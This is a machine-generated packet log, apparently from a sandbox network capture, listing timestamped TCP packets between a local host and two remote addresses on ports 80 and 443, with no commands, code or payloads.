Nov 17, 2024 01:38:21.266251087 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.266262054 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.290112019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290275097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290285110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.290292978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290303946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290364981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.290364981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.290410042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290465117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.290504932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290517092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290527105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290538073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290548086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290558100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290570021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.290575027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.290620089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.291451931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.291462898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.291474104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.291479111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.291482925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.291548014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.330563068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.330575943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.330585003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.330686092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.397341967 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.397489071 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.397569895 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.397820950 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.397842884 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.397856951 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.397862911 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.401140928 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.401171923 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.401269913 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.401555061 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.401566029 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.447897911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.447911978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.447931051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.447942019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448046923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448106050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448116064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448169947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448183060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448240042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448251009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448287010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448298931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448302031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448343039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448647976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448659897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448685884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448695898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448707104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448718071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448719978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448729992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448743105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.448745012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448770046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.448790073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.488687992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.488699913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.488709927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.488786936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.488830090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607387066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607430935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607439041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607470989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607546091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607624054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607635021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607644081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607677937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607700109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607709885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607734919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607745886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607758999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607764959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607769966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.607786894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.607806921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.608402967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608413935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608422995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608432055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608455896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.608489037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.608741045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608798027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.608805895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.608860016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.648164034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.648175001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.648190975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.648200989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.648231983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.648278952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766130924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766163111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766186953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766206980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766272068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766273022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766287088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766330957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766355991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766406059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766419888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766449928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766484976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766489983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766530991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766562939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766602993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766617060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766658068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766763926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766779900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766796112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.766819954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.766839027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.767016888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767040968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767055035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767074108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.767110109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.767287016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767322063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767338037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767343044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.767354012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767369986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.767379999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.767417908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.807059050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.807081938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.807096958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.807113886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.807126045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.807190895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.807240963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.823271036 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.823964119 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.823986053 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.824618101 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.824625015 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.885452032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.885484934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.885620117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.916836977 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.927001953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927046061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927062035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927077055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927082062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927093029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927109957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927125931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927125931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927182913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927189112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927215099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927232027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927242994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927246094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.927278996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.927314043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.929991961 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.930033922 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.930610895 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.930624008 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.952464104 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.952749968 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.952820063 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.954193115 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.954210043 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.954221964 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.954229116 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.957278967 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.957366943 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.957519054 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.957689047 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.957729101 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.125926018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.125941992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.126032114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.126044989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.126151085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.126151085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.126151085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.136575937 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.137080908 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.137089968 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.137677908 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.137681961 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.140202045 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.141429901 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.141442060 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.142754078 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.142759085 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.217242956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.217263937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.217279911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.217338085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.217417002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.239301920 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.239499092 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.239589930 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.244478941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244520903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244554043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244581938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244582891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244605064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244626999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244658947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244708061 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.244743109 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.244781017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244800091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244816065 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.244832993 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.244843006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244852066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244860888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244903088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244906902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244921923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244940042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244952917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.244966030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.244987011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245171070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245460987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245476961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245492935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245506048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245508909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245532036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245565891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245790958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245806932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245832920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245847940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.245872021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.245887041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.251604080 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.266541004 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.266544104 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.266714096 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.266750097 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.266789913 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.266824007 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.281766891 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.281783104 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.281794071 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.281800985 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.282995939 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.283000946 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.283026934 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.283031940 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.286346912 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.286380053 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.286935091 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.286943913 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.289851904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.289891005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.289964914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.290025949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.290505886 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.290544987 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.290754080 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.290754080 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.290795088 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.292510033 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.292598963 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.292682886 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.293229103 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.293240070 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.293293953 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.294977903 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.295017958 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.295084000 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.295100927 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.336384058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.336409092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.336425066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.336457014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.336505890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.364398003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.364420891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.364455938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.364470005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.364479065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.364526987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.364537001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.376820087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.376840115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.376854897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.376895905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.376895905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.376933098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.403143883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403165102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403182983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403198004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403227091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.403304100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.403304100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.403887033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403924942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.403948069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.403984070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404025078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404040098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404066086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404073954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404095888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404108047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404114962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404164076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404226065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404272079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404287100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404289007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404306889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.404320002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404352903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.404352903 CET	49714	80	192.168.2.6	185.215.113.206
